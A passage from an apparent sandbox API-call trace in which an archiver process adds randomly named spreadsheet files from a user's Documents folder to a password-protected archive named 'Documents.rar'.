lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x3250, lpOverlapped=0x0) returned 1 [0082.672] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.672] SetFilePointer (in: hFile=0x32c, lDistanceToMove=720691, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xaff33 [0082.672] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xaff33 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0082.672] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b30, Size=0x48) returned 0x1162e888ea0 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.672] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e8893f0 [0082.672] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.672] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.672] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.672] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0082.672] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c80 | out: hHeap=0x1162e7c0000) returned 1 [0082.672] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x55) returned 0x1163204d460 [0082.672] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x91) returned 0x1162e87d150 [0082.672] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8f, lpOverlapped=0x0) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.673] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8f) returned 0x1162e87d330 [0082.673] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.673] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.673] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xb3212 [0082.673] CloseHandle (hObject=0x350) returned 1 [0082.673] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.673] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.673] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.673] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.673] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.673] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.673] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\rdvrexnp0.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.673] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.673] GetTickCount () returned 0x2a790 [0082.673] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.673] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.673] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.674] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.674] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="_fBJ yDh9e.ods") returned 14 [0082.674] SetWindowTextW (hWnd=0x10300, lpString="rDvRexnp0.xls") returned 1 [0082.674] GetTickCount () returned 0x2a790 [0082.674] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.674] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.674] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.674] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.674] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0xa3)) [0082.674] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.674] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17400304892) returned 1 [0082.674] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x18ae8, lpOverlapped=0x0) returned 1 [0082.675] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba6b28, nNumberOfBytesToRead=0xe7518, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba6b28*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.675] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.675] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.675] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.675] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e8893a0 [0082.675] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888ea0 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c80 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x4b) returned 0x1163204d460 [0082.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x87) returned 0x1163205de80 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205de80 | out: hHeap=0x1162e7c0000) returned 1 [0082.676] GetTickCount () returned 0x2a790 [0082.676] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17400496353) returned 1 [0082.676] GetTickCount () returned 0x2a790 [0082.676] GetTickCount () returned 0x2a790 [0082.676] GetTickCount () returned 0x2a790 [0082.676] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.676] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.677] ResetEvent (hEvent=0x344) returned 1 [0082.677] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.678] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.678] ResetEvent (hEvent=0x344) returned 1 [0082.678] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.682] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.682] ResetEvent (hEvent=0x344) returned 1 [0082.682] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.686] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.686] GetTickCount () returned 0x2a7a0 [0082.686] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17401471925) returned 1 [0082.686] GetTickCount () returned 0x2a7a0 [0082.686] GetTickCount () returned 0x2a7a0 [0082.686] GetTickCount () returned 0x2a7a0 [0082.686] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.686] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.686] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.686] ResetEvent (hEvent=0x33c) returned 1 [0082.686] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.687] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.687] ResetEvent (hEvent=0x33c) returned 1 [0082.687] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.688] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.689] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.689] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.689] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xb3212 [0082.689] SetFilePointer (in: hFile=0x32c, lDistanceToMove=132, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xb3296 [0082.689] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.689] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.689] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.689] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.689] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x18be0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x18be0, lpOverlapped=0x0) returned 1 [0082.692] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.692] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.692] SetFilePointer (in: hFile=0x32c, lDistanceToMove=733714, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xb3212 [0082.692] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xb3212 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e888900 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0082.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b60, Size=0x48) returned 0x1162e888ef0 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b30 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x4b) returned 0x1163204d460 [0082.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x87) returned 0x1163205d070 [0082.692] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d073*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d073*, lpNumberOfBytesWritten=0x141a0d82c0*=0x84, lpOverlapped=0x0) returned 1 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x84) returned 0x1163205c530 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d070 | out: hHeap=0x1162e7c0000) returned 1 [0082.692] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xcbe76 [0082.692] CloseHandle (hObject=0x350) returned 1 [0082.693] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.693] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.694] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.694] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.694] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XGIfB05FTyHqB.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d5e0 [0082.694] FindClose (in: hFindFile=0x1163204d5e0 | out: hFindFile=0x1163204d5e0) returned 1 [0082.694] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XGIfB05FTyHqB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xgifb05ftyhqb.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.695] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.695] GetTickCount () returned 0x2a7a0 [0082.695] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.695] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.695] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.695] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.695] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="rDvRexnp0.xls") returned 13 [0082.695] SetWindowTextW (hWnd=0x10300, lpString="XGIfB05FTyHqB.xlsx") returned 1 [0082.695] GetTickCount () returned 0x2a7a0 [0082.695] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.695] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.696] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.696] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.696] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0xb2)) [0082.696] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.696] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17402440986) returned 1 [0082.696] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xca03, lpOverlapped=0x0) returned 1 [0082.697] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9aa43, nNumberOfBytesToRead=0xf35fd, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9aa43*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.697] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.697] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.697] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dcf0 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.697] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888ef0 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dcf0 | out: hHeap=0x1162e7c0000) returned 1 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.697] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d40 | out: hHeap=0x1162e7c0000) returned 1 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.697] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x50) returned 0x1163204d5e0 [0082.697] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d5e0, Size=0x8c) returned 0x1162e87d150 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.697] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.700] GetTickCount () returned 0x2a7b0 [0082.700] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17402883607) returned 1 [0082.700] GetTickCount () returned 0x2a7b0 [0082.700] GetTickCount () returned 0x2a7b0 [0082.700] GetTickCount () returned 0x2a7b0 [0082.700] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0082.700] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0082.700] GetFocus () returned 0x1031c [0082.701] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0082.701] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0082.701] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0082.701] GetFocus () returned 0x1031c [0082.701] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0082.701] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.702] ResetEvent (hEvent=0x344) returned 1 [0082.702] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.705] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.705] ResetEvent (hEvent=0x344) returned 1 [0082.705] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.707] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.707] GetTickCount () returned 0x2a7b0 [0082.707] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17403545391) returned 1 [0082.707] GetTickCount () returned 0x2a7b0 [0082.707] GetTickCount () returned 0x2a7b0 [0082.707] GetTickCount () returned 0x2a7b0 [0082.707] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.707] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.707] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.707] ResetEvent (hEvent=0x33c) returned 1 [0082.707] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.708] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] ResetEvent (hEvent=0x33c) returned 1 [0082.708] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.709] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.709] PeekMessageW (in: 